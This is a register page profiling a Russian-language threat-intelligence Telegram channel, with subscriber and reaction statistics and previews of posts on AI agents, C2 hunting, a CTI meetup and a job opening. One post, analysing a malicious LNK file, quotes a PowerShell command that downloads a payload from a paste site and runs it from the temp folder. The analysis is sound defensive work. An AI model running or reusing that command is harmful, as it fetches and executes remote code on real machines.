Hacking & security — a classification, not a measurement. An on-box language model (Qwen3.6-35B-A3B-FP8, prompt version 1) read this channel’s own recent posts on 15 September 2026 and assigned it the closest of 31 fixed categories, at 53% confidence. This is a model’s judgement about what the channel is likely to be about, not a fact this register measured the way a subscriber count or a view count is measured — it can be revised on a later pass, and it carries no weight anywhere else on this page. How this classification works, and why it has no browse page of its own yet.
Growth
13 measurements spanning 40 days, net +40. Dots are measurements; the straight line between them is drawn to join them, not to claim we know the path taken in between — snapshots are recorded only when a count changes, so gaps mean “no change observed”, never “interpolated”. The vertical axis spans 2,487–2,539 and does not start at zero.
Measurement log — every subscribers count we have recorded
Measured (UTC)
Subscribers
Change
16 Sept 2026, 09:59
2,533
+7
12 Sept 2026, 07:36
2,526
-1
8 Sept 2026, 01:21
2,527
+11
2 Sept 2026, 15:05
2,516
+7
27 Aug 2026, 06:04
2,509
-5
24 Aug 2026, 01:08
2,514
+13
20 Aug 2026, 06:26
2,501
-9
17 Aug 2026, 13:04
2,510
+3
14 Aug 2026, 07:17
2,507
+7
10 Aug 2026, 12:56
2,500
+1
7 Aug 2026, 20:05
2,499
+6
7 Aug 2026, 09:16
2,493
no change
7 Aug 2026, 09:05
2,493
first reading
Engagement
17 posts held, back to 14 December 2025 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 2 pages of Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 17 posts for this entry, the most recent from 2 July 2026. An engagement rate over an empty window would be a number about nothing.
What this channel posts
Video runtime
57s
Average length
57s
Measured directly from 1 video with a duration reading, out of the posts we hold for this channel — not this channel’s whole posting history, only the sample this register has actually read. An exact reading to the second, taken from the post itself rather than from Telegram’s own rounded chrome, so it carries no ≈ mark.
Reaction mix
116 reactions across 15 posts, in 3 distinct kinds. The most used accounts for 70.7% of them.
Every reaction kind recorded on the sample, most used first
Reaction
Count
Share
Share, drawn
👍
82
70.7%
🆒
29
25.0%
🗿
5
4.31%
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 15 of the 17 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 116 reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 17 most recent posts we hold, published 14 December 2025 to 2 July 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Telegram Stars
Stars received
3
across the posts below
Posts paid on
2
of 16 we hold a reading for · 13%
Most on one post
2
single highest reading
A paid reaction is a reader spending Telegram Stars — bought with money — on a post by @seclemur. Telegram publishes the count on the public post preview alongside ordinary reactions, and this register reads it there. It is the only figure on this site that measures money moving rather than attention.
Stars are not reactions, and the two are never added. They are rendered in the same strip on Telegram and counted in the same shape, but one is a tap and the other is a purchase. The reaction totals and the engagement rate elsewhere on this page exclude every figure in this section, and no rate here is computed against a reaction count.
This is not revenue, and we publish no currency figure. What a Star costs a reader and what it pays a channel are different numbers, Telegram takes a share we cannot observe, and the terms have changed. Converting a Star count into money would be an estimate dressed as a measurement, so the count is where we stop.
Counted over the 17 most recent posts we hold for this entry, published 14 December 2025 to 2 July 2026. Star counts above 1,000 reach us in Telegram’s short form and carry the same three-significant-figure rounding as everything else on this page.
Как говорится - любой уважающий себя AI-TI энтузиаст начинает парсить новости и статьи.
Вот и я поигрался с промптами и Hermes и карманную TI платформу в Obsidian. Скормил ему побольше разных TI блогов вендоров, описал что и в каком формате хочу получать: так чтобы между страницами хранилища obsidian была перелинковка сущностей в случае если они связаны. С таким же успехом можно просить его делать другие аутпуты, на…
Пссс, тут вакансия открыта:
https://hh.ru/vacancy/133732099
Поиск Threat Intelligence аналитика с большим желанием искать и изучать новые киберугрозы. Важен опыт именно изучения и поиск чего-то нового и неизвестного. Различные пет-проекты для превентивного хантинга сэмплов, сетевой инфраструктуры приветствуется и в почете - если таковой опыт имеется обязательно упомяни в сопроводительном письме. Если ты младший, но …
Пока промежуточный итоги такие:
1) AI агенты как таковые - это топ, концепция очень нравится.
2) OpenClaw невозможно лагающее создание. Админить его тяжело, пришлось сносить
3) Спасибо @poxek за рекомендацию в чате. Поставил hermes - работает на порядки стабильнее. Но, наверное, следующий этап это написание своего агента.
продолжаю тестировать, докручиваем с агентом скиллы, надеюсь получится кое-что интересное.
❤@…
Всем привет 👋.
Инсека и Технологии киберугроз приглашают вас на CTI meetup #5.
🍻 обсуждаем рабочие моменты, делимся опытом
📆 23 мая, 14:00-20:00
📍 Место: Лофт «Москва» по адресу Москва, Берсеневская набережная, 6с3
Программа CTI meetup #5:
Сбор гостей 13:30-14:00
Начало выступлений 14:00
1. Threat Hunting в опенсорсе: злоумышленники используют ИИ, мы тоже, но есть нюанс
Раковский Станислав (руководитель группы Su…
Сделал скилл который по плану будет детектить малварные C2 на потоке. Если будет адекватно работать, то сделаю отдельный канальчик с фидами как раньше было в @tinyscope.
Обзаведусь недостающими ключами к search engines и поставлю на поток. Сейчас решил добавить Shodan, FOFA, Zoomeye, Netlas. Какие еще предложения ?
+ может кто поделится готовыми рулями к таким поисковикам, буду рад перенять вашу опыт и мудрость.
Из…
Следом другая статья, но тоже про агентов и безопасность. Это исследование про беспрерывную деанонимизацию пользователей с помощью LLM. То, что раньше требовало часов ручной работы OSINT-аналитика, теперь можно автоматизировать и поставить на поток😐
Ресерчеры рассказывают как они с помощью агентов и инструментов для них построили целый пайплайн по деанону пользователей:
1️⃣ Extract – из постов в социальных сетях по…
Теперь вы будете встречать меня на VT чаще. Я теперь нейрослоп 💃
А я всего лишь попросил его научиться отправлять комменты к индикаторам на VT, если в статье он находит какие-то IoC.
Наконец приступил к тестированию нашумевшего OpenClaw. С горем пополам,но развернул у себя его на домашней машине для тестов 😂 Сходу испытал детский восторг - штука невероятно адаптивная и очень гибкая. Выше скриншоты буквально сразу после первоначальной настройки. А сколько еще всего впереди.
Безусловно прежде чем запускать его проштудировал кучу постов в твиттере на тему того как он все удаляет и ломает. Морально к…
Не совсем тематика этого канала, но тоже важно подстветить.
В прошлый раз затронулась тема про то как разгрузить голову. В этот раз я тоже не с пустыми руками.
Нашел исследование которое точно объясняет, почему рабочий день часто ощущается как «работал, но ничего не сделал». Суть статьи в том что продуктивность зависит не от силы воли, а от трёх вещей: как часто тебя отвлекают, сколько времени уходит на возвращени…
Иногда приходится и такие атаки изучать (видео 👆😁)
LNK файл с командой, которая качала видео пару недель назад:
-c "$b=(irm https://pastes.io/raw/aaaaigz0ex);[IO.File]::WriteAllBytes(\"$env:TEMP\v.mp4\",[Convert]::FromBase64String($b));start $env:TEMP\v.mp4"
Но забавно что сейчас на этом пастбине висит другой скрипт:
if (!(Test-Path "$env:LOCALAPPDATA\Discord\*\Discord.exe") -and !(Get-PSDrive -PSProvider FileS…
Ультимативный гайд по организации инфраструктуры для пентестов - тык
Много интересных мыслей есть и для исследователей угроз. Но глава о CDN Relays особенно понравилась. Недавно натыкался на несколько примеров реальных атак, где злоумышленники использовали инфраструктуру Microsoft Azure в качестве командного центра. Главного загвоздка этой техники заключается в том, что домены от облачных сервисов микромягких чаще в…
👍6
Showing the 12 most recent of 17 posts we hold for @seclemur. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Stars beside a post are paid reactions — Telegram Stars, bought with money and spent on that post. They are a different unit from reactions and are never added to them, here or anywhere else on this page.
Mentions
Names
Channels on the register whose handles appear in this channel's posts.
A mention is a weaker signal than a forward and is counted separately for that reason — naming a channel is not republishing it, and a handle in a post body is easy to place deliberately. The post counts beside each row below are distinct posts in which the handle appeared, from posts we have read on both sides — the “Named by N registered channels” figure above is a different count, of distinct NAMING CHANNELS rather than posts, and is not the sum of the rows under it.
Appears in Telegram’s recommendations for other channels
The reverse of the list above, and a different kind of signal. This does not require this channel to have ever been asked about directly — each row below is a channel we DID ask Telegram about, whose Telegram-generated list happened to include this one. A channel can appear here with an empty list above it, because being named by someone else’s query is independent of having been queried itself.
OSINT mindset [ENG] @osint_mindset_eng · 20,998 Telegram ranks this channel #20 of 45 here — alongside 44 others — read 25 September 2026
This channel appears in 1 seed channel's Telegram-generated recommendation list in total. Each is Telegram’s list for THAT channel, not this one — see how this is measured.
Cite this entry
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 16 September 2026 — this
entry's latest reading, not the date you are reading this.
“Secure Lemur” (@seclemur), 2,533 subscribers as measured 16 September 2026. Telegram Register, tgregister.com/channel/seclemur.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.